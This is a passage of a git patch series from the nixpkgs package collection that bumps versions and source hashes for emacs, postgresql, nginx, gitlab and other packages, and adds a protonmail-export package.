From e28af20f2d5ed464d321b2f47a3f71032b5ff4f8 Mon Sep 17 00:00:00 2001
From: Lin Jian <me@linj.tech>
Date: Fri, 15 Aug 2025 03:16:27 +0800
Subject: [PATCH 3540/4511] emacs: 30.1 -> 30.2

https://lists.gnu.org/archive/html/emacs-devel/2025-08/msg00493.html

One patch is removed because it is backported[1] to 30.2.

[1]: 6cac92928a99a2cf33aeeeddf295cf981750391c

(cherry picked from commit 256102ec3d621b2e08627038fea6c23d6ccf3622)
---
 pkgs/applications/editors/emacs/sources.nix | 11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/emacs/sources.nix b/pkgs/applications/editors/emacs/sources.nix
index 7a326ec644d0..c706d8ecc276 100644
--- a/pkgs/applications/editors/emacs/sources.nix
+++ b/pkgs/applications/editors/emacs/sources.nix
@@ -105,20 +105,15 @@ in
 {
   emacs30 = import ./make-emacs.nix (mkArgs {
     pname = "emacs";
-    version = "30.1";
+    version = "30.2";
     variant = "mainline";
-    rev = "30.1";
-    hash = "sha256-wBuWLuFzwB77FqAYAUuNe3CuJFutjqp0XGt5srt7jAo=";
+    rev = "30.2";
+    hash = "sha256-3Lfb3HqdlXqSnwJfxe7npa4GGR9djldy8bKRpkQCdSA=";
     patches = fetchpatch: [
       (builtins.path {
         name = "inhibit-lexical-cookie-warning-67916.patch";
         path = ./inhibit-lexical-cookie-warning-67916-30.patch;
       })
-      (fetchpatch {
-        # bug#63288 and bug#76523
-        url = "https://git.savannah.gnu.org/cgit/emacs.git/patch/?id=53a5dada413662389a17c551a00d215e51f5049f";
-        hash = "sha256-AEvsQfpdR18z6VroJkWoC3sBoApIYQQgeF/P2DprPQ8=";
-      })
     ];
   });
 

From 4c7d596449319fb46a995b64ce9c0a02e5207620 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sun, 29 Jun 2025 20:28:13 -0600
Subject: [PATCH 3541/4511] protonmail-export: init at 1.0.5

(cherry picked from commit 4349f8ca760b28e4b83c69d9895a501f2830ce92)
---
 pkgs/by-name/pr/protonmail-export/package.nix | 106 ++++++++++++++++++
 1 file changed, 106 insertions(+)
 create mode 100644 pkgs/by-name/pr/protonmail-export/package.nix

diff --git a/pkgs/by-name/pr/protonmail-export/package.nix b/pkgs/by-name/pr/protonmail-export/package.nix
new file mode 100644
index 000000000000..5197b511a2dd
--- /dev/null
+++ b/pkgs/by-name/pr/protonmail-export/package.nix
@@ -0,0 +1,106 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  buildGoModule,
+
+  cmake,
+  curl,
+  go,
+  unzip,
+  zip,
+
+  catch2,
+  cxxopts,
+  fmt,
+
+  versionCheckHook,
+}:
+stdenv.mkDerivation (finalAttrs: {
+  pname = "protonmail-export";
+  version = "1.0.5";
+
+  src = fetchFromGitHub {
+    owner = "ProtonMail";
+    repo = "proton-mail-export";
+    tag = "v${finalAttrs.version}";
+    fetchSubmodules = true;
+    hash = "sha256-rpfTI3vcZlEK1TrxRMMHFKutwC/YqAZrZCFiUsfMafc=";
+  };
+
+  goModules =
+    (buildGoModule {
+      pname = "protonmail-export-go-modules";
+      inherit (finalAttrs) src version;
+      sourceRoot = "${finalAttrs.src.name}/go-lib";
+      vendorHash = "sha256-rKi3PNsYsZA+MLcLTVrVI3T2SUBZCiq9Zxtf+1SGArk=";
+
+      nativeBuildInputs = [ unzip ];
+
+      proxyVendor = true;
+    }).goModules;
+
+  postPatch = ''
+    echo "" > vcpkg/scripts/buildsystems/vcpkg.cmake
+
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'include(clang_tidy)' ''' \
+      --replace-fail 'include(clang_format)' '''
+
+    substituteInPlace lib/CMakeLists.txt \
+      --replace-fail 'add_subdirectory(tests)' '''
+
+    substituteInPlace cli/bin/main.cpp --replace-fail \
+      'execPath = etcpp::getExecutableDir();' 'execPath = std::filesystem::u8path(std::getenv("HOME")) / ".config" / "protonmail-export";'
+  '';
+
+  preConfigure = ''
+    export GOCACHE=$TMPDIR/go-cache
+    export GOPATH=$TMPDIR/go
+    export GOPROXY=file://$goModules
+  '';
+
+  nativeBuildInputs = [
+    cmake
+    curl
+    go
+    unzip
+    zip
+  ];
+
+  buildInputs = [
+    fmt
+    catch2
+    cxxopts
+  ];
+
+  postInstall =
+    let
+      so = "proton-mail-export${stdenv.hostPlatform.extensions.library}";
+    in
+    ''
+      install -Dm644 $out/bin/${so} -t $out/lib
+      rm -f $out/bin/${so}
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      install_name_tool -change @loader_path/${so} \
+        $out/lib/${so} \
+        $out/bin/proton-mail-export-cli
+    '';
+
+  nativeInstallCheckInputs = [
+    versionCheckHook
+  ];
+  versionCheckProgram = "${placeholder "out"}/bin/proton-mail-export-cli";
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+
+  meta = {
+    description = "Export your Proton Mail emails as eml files";
+    homepage = "https://github.com/ProtonMail/proton-mail-export";
+    license = lib.licenses.gpl3Plus;
+    platforms = lib.platforms.unix;
+    maintainers = [ lib.maintainers.ryand56 ];
+    mainProgram = "proton-mail-export-cli";
+  };
+})

From 91798162b9910201adf46946aa49be2cca67acf8 Mon Sep 17 00:00:00 2001
From: crertel <chris@kedagital.com>
Date: Thu, 14 Aug 2025 11:46:08 -0500
Subject: [PATCH 3542/4511] lmstudio: 0.3.22.1 -> 0.3.23.3

(cherry picked from commit 95c8b69ae90cebd01a5eed28996a4f0724071e6a)
---
 pkgs/by-name/lm/lmstudio/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lm/lmstudio/package.nix b/pkgs/by-name/lm/lmstudio/package.nix
index 3146d449ad56..1f3d4c6dbdd4 100644
--- a/pkgs/by-name/lm/lmstudio/package.nix
+++ b/pkgs/by-name/lm/lmstudio/package.nix
@@ -7,10 +7,10 @@
 let
   pname = "lmstudio";
 
-  version_aarch64-darwin = "0.3.22-1";
-  hash_aarch64-darwin = "sha256-rmIZ+NIfryZUc1nZZD36oxICGjBReO4SMCCOr9p5ID8=";
-  version_x86_64-linux = "0.3.22-1";
-  hash_x86_64-linux = "sha256-oqukPQ0kSiBpDIePwSKTC4gpbFmGZ+CaNf7p8z65xAE=";
+  version_aarch64-darwin = "0.3.23-3";
+  hash_aarch64-darwin = "sha256-Jfx4Fx9mlrdGckE2ML3eTQHfgglEELOYJYxibRiAB7c=";
+  version_x86_64-linux = "0.3.23-3";
+  hash_x86_64-linux = "sha256-FG3CzD6UjuPYXImjTkKTozpTQVGk8JLqxhJxTS9qjuo=";
 
   meta = {
     description = "LM Studio is an easy to use desktop app for experimenting with local and open-source Large Language Models (LLMs)";

From 03b87371dd0c3f5f2a74bcc3e2cb1348d57f96ee Mon Sep 17 00:00:00 2001
From: Hans Joachim Kliemeck <h0nIg@users.noreply.github.com>
Date: Thu, 14 Aug 2025 21:20:13 +0200
Subject: [PATCH 3543/4511] postgresql: 17.5 -> 17.6

(cherry picked from commit a216b8c911d54428c5b63881f2452e6493c3ff41)
---
 pkgs/servers/sql/postgresql/17.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/17.nix b/pkgs/servers/sql/postgresql/17.nix
index e65dc8579ece..faacd3b72fc5 100644
--- a/pkgs/servers/sql/postgresql/17.nix
+++ b/pkgs/servers/sql/postgresql/17.nix
@@ -1,7 +1,7 @@
 import ./generic.nix {
-  version = "17.5";
-  rev = "refs/tags/REL_17_5";
-  hash = "sha256-jWV7hglu7IPMZbqHrZVZHLbZYjVuDeut7nH50aSQIBc=";
+  version = "17.6";
+  rev = "refs/tags/REL_17_6";
+  hash = "sha256-/7C+bjmiJ0/CvoAc8vzTC50vP7OsrM6o0w+lmmHvKvU=";
   muslPatches = {
     dont-use-locale-a = {
       url = "https://git.alpinelinux.org/aports/plain/main/postgresql17/dont-use-locale-a-on-musl.patch?id=d69ead2c87230118ae7f72cef7d761e761e1f37e";

From 1dbf1377d6fd27d18f1da096d2db5e5ccbc28233 Mon Sep 17 00:00:00 2001
From: Hans Joachim Kliemeck <h0nIg@users.noreply.github.com>
Date: Thu, 14 Aug 2025 21:21:04 +0200
Subject: [PATCH 3544/4511] postgresql: 16.9 -> 16.10

(cherry picked from commit 6cfd1b6a854ad874bae67971a43c24dbc914babd)
---
 pkgs/servers/sql/postgresql/16.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/16.nix b/pkgs/servers/sql/postgresql/16.nix
index aa53cd825498..c0b7498da49c 100644
--- a/pkgs/servers/sql/postgresql/16.nix
+++ b/pkgs/servers/sql/postgresql/16.nix
@@ -1,7 +1,7 @@
 import ./generic.nix {
-  version = "16.9";
-  rev = "refs/tags/REL_16_9";
-  hash = "sha256-CLLCT4wiCWeLqMdtGdXM2/DtlENLWSey6nNtOcfNPRw=";
+  version = "16.10";
+  rev = "refs/tags/REL_16_10";
+  hash = "sha256-1zG8+G/lNA1xm0hxLVEilIaI+25d4gfpqA2aCb4+taY=";
   muslPatches = {
     dont-use-locale-a = {
       url = "https://git.alpinelinux.org/aports/plain/main/postgresql16/dont-use-locale-a-on-musl.patch?id=08a24be262339fd093e641860680944c3590238e";

From 0ce01edbdff75ae61fca7b1430c38372bc37d20d Mon Sep 17 00:00:00 2001
From: Hans Joachim Kliemeck <h0nIg@users.noreply.github.com>
Date: Thu, 14 Aug 2025 21:21:42 +0200
Subject: [PATCH 3545/4511] postgresql: 15.13 -> 15.14

(cherry picked from commit ebb6f532ae20d79d6a41d4cd0639f165c6e4412a)
---
 pkgs/servers/sql/postgresql/15.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/15.nix b/pkgs/servers/sql/postgresql/15.nix
index 7af553659b5e..6cb49891ad0d 100644
--- a/pkgs/servers/sql/postgresql/15.nix
+++ b/pkgs/servers/sql/postgresql/15.nix
@@ -1,7 +1,7 @@
 import ./generic.nix {
-  version = "15.13";
-  rev = "refs/tags/REL_15_13";
-  hash = "sha256-6guX2ms54HhJJ0MoHfQb5MI9qrcA0niJ06oa1glsFuY=";
+  version = "15.14";
+  rev = "refs/tags/REL_15_14";
+  hash = "sha256-KzN0gsEY6wFLqNYMxbTj2NH+4IWO0pplWP4XO/fqRLM=";
   muslPatches = {
     dont-use-locale-a = {
       url = "https://git.alpinelinux.org/aports/plain/main/postgresql15/dont-use-locale-a-on-musl.patch?id=f424e934e6d076c4ae065ce45e734aa283eecb9c";

From e3a2ea6fdbbe21e7a9a6b55faa75f343f2070eaf Mon Sep 17 00:00:00 2001
From: Hans Joachim Kliemeck <h0nIg@users.noreply.github.com>
Date: Thu, 14 Aug 2025 21:22:14 +0200
Subject: [PATCH 3546/4511] postgresql: 14.18 -> 14.19

(cherry picked from commit 9951da1dc8c0a4f49c72bc962890ebba0d14ffc3)
---
 pkgs/servers/sql/postgresql/14.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/14.nix b/pkgs/servers/sql/postgresql/14.nix
index c543e329dffc..e0b6deadab98 100644
--- a/pkgs/servers/sql/postgresql/14.nix
+++ b/pkgs/servers/sql/postgresql/14.nix
@@ -1,7 +1,7 @@
 import ./generic.nix {
-  version = "14.18";
-  rev = "refs/tags/REL_14_18";
-  hash = "sha256-pGPTq4I8WQnysVh3hHi/1Fto5vqtIbdGBu7EyBonIoo=";
+  version = "14.19";
+  rev = "refs/tags/REL_14_19";
+  hash = "sha256-z8MEeLae4W4YqGBNcPtKnUENxnixugnv5Q6r+LW4uu8=";
   muslPatches = {
     disable-test-collate-icu-utf8 = {
       url = "https://git.alpinelinux.org/aports/plain/main/postgresql14/disable-test-collate.icu.utf8.patch?id=56999e6d0265ceff5c5239f85fdd33e146f06cb7";

From 5b255259e6b2fea398627c25191998daaa737e97 Mon Sep 17 00:00:00 2001
From: Hans Joachim Kliemeck <h0nIg@users.noreply.github.com>
Date: Thu, 14 Aug 2025 21:22:42 +0200
Subject: [PATCH 3547/4511] postgresql: 13.21 -> 13.22

(cherry picked from commit 447e957dd060a0fee68fa0a1d968a421c1316c65)
---
 pkgs/servers/sql/postgresql/13.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/13.nix b/pkgs/servers/sql/postgresql/13.nix
index 45a38d9ff765..53aa3ea5e44e 100644
--- a/pkgs/servers/sql/postgresql/13.nix
+++ b/pkgs/servers/sql/postgresql/13.nix
@@ -1,7 +1,7 @@
 import ./generic.nix {
-  version = "13.21";
-  rev = "refs/tags/REL_13_21";
-  hash = "sha256-je3nC8zymK9pIISWSv/hMNeloYuiB7ulLinWFzqAWFc=";
+  version = "13.22";
+  rev = "refs/tags/REL_13_22";
+  hash = "sha256-6zHA+WU1FroUbGJcTAeEbPKBVQY7SKpT5+Kxe9ZhtoM=";
   muslPatches = {
     disable-test-collate-icu-utf8 = {
       url = "https://git.alpinelinux.org/aports/plain/main/postgresql13/disable-test-collate.icu.utf8.patch?id=69faa146ec9fff3b981511068f17f9e629d4688b";

From 83a1d90baf24a24416b561f4a14b4df5f8b6394b Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 14 Aug 2025 10:48:12 +0200
Subject: [PATCH 3548/4511] nginxMainline: 1.27.5 -> 1.29.1

Fixes CVE-2025-53859

Changes:
```
Changes with nginx 1.29.1                                        13 Aug 2025

    *) Security: processing of a specially crafted login/password when using
       the "none" authentication method in the ngx_mail_smtp_module might
       cause worker process memory disclosure to the authentication server
       (CVE-2025-53859).

    *) Change: now TLSv1.3 certificate compression is disabled by default.

    *) Feature: the "ssl_certificate_compression" directive.

    *) Feature: support for 0-RTT in QUIC when using OpenSSL 3.5.1 or newer.

    *) Bugfix: the 103 response might be buffered when using HTTP/2 and the
       "early_hints" directive.

    *) Bugfix: in handling "Host" and ":authority" header lines with equal
       values when using HTTP/2; the bug had appeared in 1.17.9.

    *) Bugfix: in handling "Host" header lines with a port when using
       HTTP/3.

    *) Bugfix: nginx could not be built on NetBSD 10.0.

    *) Bugfix: in the "none" parameter of the "smtp_auth" directive.

Changes with nginx 1.29.0                                        24 Jun 2025

    *) Feature: support for response code 103 from proxy and gRPC backends;
       the "early_hints" directive.

    *) Feature: loading of secret keys from hardware tokens with OpenSSL
       provider.

    *) Feature: support for the "so_keepalive" parameter of the "listen"
       directive on macOS.

    *) Change: the logging level of SSL errors in a QUIC handshake has been
       changed from "error" to "crit" for critical errors, and to "info" for
       the rest; the logging level of unsupported QUIC transport parameters
       has been lowered from "info" to "debug".

    *) Change: the native nginx/Windows binary release is now built using
       Windows SDK 10.

    *) Bugfix: nginx could not be built by gcc 15 if ngx_http_v2_module or
       ngx_http_v3_module modules were used.

    *) Bugfix: nginx might not be built by gcc 14 or newer with -O3 -flto
       optimization if ngx_http_v3_module was used.

    *) Bugfixes and improvements in HTTP/3.
```

(cherry picked from commit a93581ee44ee4236a5b3c52f7a22682af7652447)
---
 pkgs/servers/http/nginx/mainline.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/nginx/mainline.nix b/pkgs/servers/http/nginx/mainline.nix
index e4ece30ec374..dece0210839e 100644
--- a/pkgs/servers/http/nginx/mainline.nix
+++ b/pkgs/servers/http/nginx/mainline.nix
@@ -1,6 +1,6 @@
 { callPackage, ... }@args:
 
 callPackage ./generic.nix args {
-  version = "1.27.5";
-  hash = "sha256-6WrOu5wqbbigAMPdGzLsuhuBDwzVhiMtTZIeN2Z03Q4=";
+  version = "1.29.1";
+  hash = "sha256-xYn35+2AHdvZBK+/PeJq4k6wzOJ8dxei6U33+xLWrSc=";
 }

From 38da02cfa03fd4a20d2d5f4a90b750b10f7899c6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 27 Jun 2025 15:32:09 +0000
Subject: [PATCH 3549/4511] matrix-synapse-plugins.synapse-http-antispam: 0.4.0
 -> 0.5.0

(cherry picked from commit 65a7e5e637e5364ed6e2e76335bfec08b5c893a4)
---
 .../plugins/synapse-http-antispam.nix                         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/synapse-http-antispam.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/synapse-http-antispam.nix
index 35cc6fcf54a3..358ec737a326 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/synapse-http-antispam.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/synapse-http-antispam.nix
@@ -10,14 +10,14 @@
 
 buildPythonPackage rec {
   pname = "synapse-http-antispam";
-  version = "0.4.0";
+  version = "0.5.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "maunium";
     repo = "synapse-http-antispam";
     tag = "v${version}";
-    hash = "sha256-YvgHIZ5Kr9WsX30QN8W5OJ4sxLB7EsLqUmCye3x+JQA=";
+    hash = "sha256-hACoTd3qhmw4jfCphCYKm0lJzda4HVlRjyKjql6fte8=";
   };
 
   build-system = [ hatchling ];

From 5dcee1dde895d8c598b365953245583d1720f608 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 15 Aug 2025 07:30:02 +0000
Subject: [PATCH 3550/4511] chhoto-url: 6.2.12 -> 6.2.13

Changelog: https://github.com/SinTan1729/chhoto-url/releases/tag/6.2.13
Diff: https://github.com/SinTan1729/chhoto-url/compare/6.2.12...6.2.13
(cherry picked from commit aaed380fca00212c0d9958d6b5d7ac6fb8d9c803)
---
 pkgs/by-name/ch/chhoto-url/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chhoto-url/package.nix b/pkgs/by-name/ch/chhoto-url/package.nix
index 2f73b19d3f68..2a9abd251ea6 100644
--- a/pkgs/by-name/ch/chhoto-url/package.nix
+++ b/pkgs/by-name/ch/chhoto-url/package.nix
@@ -8,13 +8,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "chhoto-url";
-  version = "6.2.12";
+  version = "6.2.13";
 
   src = fetchFromGitHub {
     owner = "SinTan1729";
     repo = "chhoto-url";
     tag = finalAttrs.version;
-    hash = "sha256-hV/YWxOPRTojVTFIXwzqImBKyQ1dCDq5+bgCdS7T1p0=";
+    hash = "sha256-onGmDAVhT2lzq2pQ5runGuHgPdh1MjgFLU7DUvN7nt0=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/actix";
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail "./resources/" "${placeholder "out"}/share/chhoto-url/resources/"
   '';
 
-  cargoHash = "sha256-9wXbd56KOQ7suZqtg2cSFf2FGQJADFMHJbwAAxJ2V4g=";
+  cargoHash = "sha256-GbjbVr82Aj/CRdBl9gPGwHiyrc7l2F918DNnlEoPI58=";
 
   postInstall = ''
     mkdir -p $out/share/chhoto-url

From 85d48c644e322f105316d7ed23cc92b49a23ac05 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 13 Aug 2025 14:00:38 +0200
Subject: [PATCH 3551/4511] gitlab: 18.2.1 -> 18.2.2

https://about.gitlab.com/releases/2025/08/13/patch-release-gitlab-18-2-2-released/

Also includes yet another bug fix for a gitlab-container-registry test.

(cherry picked from commit 7f43376cee4cd694fdcca893d518dd14f80f0783)
---
 pkgs/by-name/gi/gitaly/package.nix            |  4 ++--
 .../fix-broken-urlcache-tests.diff            | 22 +++++++++++++++++++
 .../gi/gitlab-container-registry/package.nix  | 12 +++++++---
 pkgs/by-name/gi/gitlab-pages/package.nix      |  4 ++--
 pkgs/by-name/gi/gitlab/data.json              | 14 ++++++------
 .../gi/gitlab/gitlab-workhorse/default.nix    |  2 +-
 6 files changed, 43 insertions(+), 15 deletions(-)
 create mode 100644 pkgs/by-name/gi/gitlab-container-registry/fix-broken-urlcache-tests.diff

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 664edf9b73df..884cb31f11cb 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.2.1";
+  version = "18.2.2";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,7 +21,7 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-h4JklXImKwudJT3pb/UhHwQHKd87c5aSH1xYC0lRWKo=";
+      hash = "sha256-+OmduG9neb15m3i57qPfE42HI4w/zgmA5T6bhlwzrT0=";
     };
 
     vendorHash = "sha256-RjDV4NGmmdT9STQBHiYf3UUYwPmuSg6970/W/ekxin0=";
diff --git a/pkgs/by-name/gi/gitlab-container-registry/fix-broken-urlcache-tests.diff b/pkgs/by-name/gi/gitlab-container-registry/fix-broken-urlcache-tests.diff
new file mode 100644
index 000000000000..2da75604d95f
--- /dev/null
+++ b/pkgs/by-name/gi/gitlab-container-registry/fix-broken-urlcache-tests.diff
@@ -0,0 +1,22 @@
+diff --git a/registry/storage/driver/middleware/urlcache/urlcache_test.go b/registry/storage/driver/middleware/urlcache/urlcache_test.go
+index 67ef4abc0e..6644c80837 100644
+--- a/registry/storage/driver/middleware/urlcache/urlcache_test.go
++++ b/registry/storage/driver/middleware/urlcache/urlcache_test.go
+@@ -37,7 +37,7 @@
+ 			name:        "missing redis cache",
+ 			options:     make(map[string]any),
+ 			wantErr:     true,
+-			errContains: "urlcache middleware requires `cache` Redis configured",
++			errContains: "`_redisCache` key has not been passed to urlcache middleware",
+ 		},
+ 		{
+ 			name: "default configuration with redis",
+@@ -231,7 +231,7 @@
+ 				"_redisCache": "not a redis cache",
+ 			},
+ 			wantErr:     true,
+-			errContains: "unusable redis cache object",
++			errContains: "redis cache passed to the middleware cannot be used as the type is wrong",
+ 		},
+ 	}
+ 
diff --git a/pkgs/by-name/gi/gitlab-container-registry/package.nix b/pkgs/by-name/gi/gitlab-container-registry/package.nix
index 217966c4b1eb..cbf8c0f80ede 100644
--- a/pkgs/by-name/gi/gitlab-container-registry/package.nix
+++ b/pkgs/by-name/gi/gitlab-container-registry/package.nix
@@ -6,7 +6,7 @@
 
 buildGoModule rec {
   pname = "gitlab-container-registry";
-  version = "4.25.0";
+  version = "4.26.0";
   rev = "v${version}-gitlab";
 
   # nixpkgs-update: no auto update
@@ -14,10 +14,16 @@ buildGoModule rec {
     owner = "gitlab-org";
     repo = "container-registry";
     inherit rev;
-    hash = "sha256-7jzKFC29NAHi5iag6aA/5LzH6IyqMa3yAxtzV9OsBnQ=";
+    hash = "sha256-XACKJW5sRXNM4Q24DXEVtjzhVfxoBd+JWHJr1s01ocA=";
   };
 
-  vendorHash = "sha256-z9IlfyJ48FQzhbY38GbZaeQjg3cMDU8tLCXKhazP64A=";
+  patches = [
+    # https://gitlab.com/gitlab-org/container-registry/-/merge_requests/2447
+    # Can be removed with next released when merged
+    ./fix-broken-urlcache-tests.diff
+  ];
+
+  vendorHash = "sha256-J4p3vXLmDFYl/z6crqanlmG1FB4Dq04HLx9IhC3usQ4=";
 
   checkFlags =
     let
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index 07985d49cd78..addefe9cbfe5 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,14 +6,14 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.2.1";
+  version = "18.2.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-z1Pl3xeaoqeF/9qOVcuCpuciu1r6NQ4UhlLe9gy9+nE=";
+    hash = "sha256-PPa9SYyE3G+peP2xSpNw7WDDO7WiWKSRpd5tBODkA0g=";
   };
 
   vendorHash = "sha256-OubXCpvGtGqegQmdb6R1zw/0DfQ4FdbJGt7qYYRnWnA=";
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index c170a0a5d80b..e14fe7e4fd69 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.2.1",
-  "repo_hash": "1i0y46w18476gn98fmkixdjiyrwajz2347p57dg2ijch4ivzpmlv",
-  "yarn_hash": "04mqinnbhr6zgab2p1bq6y6b20bf4c4cynkgfc67mzm9xhybr3fk",
+  "version": "18.2.2",
+  "repo_hash": "0fqpfprxmgxaz5g0d5z4gsir1zj9fkhli7iq1ahx413ymsiqrxd0",
+  "yarn_hash": "0c6njrciqcjaswh784yxly4qza6k2ghq1ljbdkcn65cna4f4hwgk",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.2.1-ee",
+  "rev": "v18.2.2-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.2.1",
-    "GITLAB_PAGES_VERSION": "18.2.1",
+    "GITALY_SERVER_VERSION": "18.2.2",
+    "GITLAB_PAGES_VERSION": "18.2.2",
     "GITLAB_SHELL_VERSION": "14.43.0",
     "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.7.0",
-    "GITLAB_WORKHORSE_VERSION": "18.2.1"
+    "GITLAB_WORKHORSE_VERSION": "18.2.2"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index 739a24476dec..2bec55c36570 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.2.1";
+  version = "18.2.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {

From 717624dad37f550bb8d5a0afa2984b37529ad193 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 14 Aug 2025 22:04:27 +0200
Subject: [PATCH 3552/4511] libpq: 17.5 -> 17.6

Release Notes:
https://www.postgresql.org/docs/release/17.6/

(cherry picked from commit 4c70fc087ac99bc302648333b3b125aa575bdaff)
---
 pkgs/servers/sql/postgresql/libpq.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/libpq.nix b/pkgs/servers/sql/postgresql/libpq.nix
index d3f3da989186..ab9c930adce2 100644
--- a/pkgs/servers/sql/postgresql/libpq.nix
+++ b/pkgs/servers/sql/postgresql/libpq.nix
@@ -31,14 +31,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "libpq";
-  version = "17.5";
+  version = "17.6";
 
   src = fetchFromGitHub {
     owner = "postgres";
     repo = "postgres";
     # rev, not tag, on purpose: see generic.nix.
-    rev = "refs/tags/REL_17_5";
-    hash = "sha256-jWV7hglu7IPMZbqHrZVZHLbZYjVuDeut7nH50aSQIBc=";
+    rev = "refs/tags/REL_17_6";
+    hash = "sha256-/7C+bjmiJ0/CvoAc8vzTC50vP7OsrM6o0w+lmmHvKvU=";
   };
 
   __structuredAttrs = true;

From 1449016e14e708e4a3ca9656bd47baaaa3e44338 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 14 Aug 2025 20:33:22 +0000
Subject: [PATCH 3553/4511] draupnir: 2.6.0 -> 2.6.1

(cherry picked from commit a37d1a1382a760bd5ef6c5aa6db612cd4f86e308)
---
 pkgs/by-name/dr/draupnir/hashes.json  | 2 +-
 pkgs/by-name/dr/draupnir/package.json | 6 +++---
 pkgs/by-name/dr/draupnir/package.nix  | 4 ++--
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/dr/draupnir/hashes.json b/pkgs/by-name/dr/draupnir/hashes.json
index 25bf893bf38c..a509437a3988 100644
--- a/pkgs/by-name/dr/draupnir/hashes.json
+++ b/pkgs/by-name/dr/draupnir/hashes.json
@@ -1,3 +1,3 @@
 {
-  "yarn_offline_cache_hash": "sha256-xB9SKCM9m2LotwxIzGgT72mLgrDW2spqvR5VoyexIAA="
+  "yarn_offline_cache_hash": "sha256-SoCuCzrKUWWsD/oEh2W3/T1/hhd7ghfpeBojo84sEI8="
 }
diff --git a/pkgs/by-name/dr/draupnir/package.json b/pkgs/by-name/dr/draupnir/package.json
index 5cbbdbf553c8..bbd5e30084f3 100644
--- a/pkgs/by-name/dr/draupnir/package.json
+++ b/pkgs/by-name/dr/draupnir/package.json
@@ -1,6 +1,6 @@
 {
   "name": "draupnir",
-  "version": "2.6.0",
+  "version": "2.6.1",
   "description": "A moderation tool for Matrix",
   "main": "lib/index.js",
   "repository": "https://github.com/the-draupnir-project/Draupnir.git",
@@ -63,8 +63,8 @@
     "jsdom": "^24.0.0",
     "matrix-appservice-bridge": "^10.3.1",
     "matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
-    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.10.0",
-    "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.8.0",
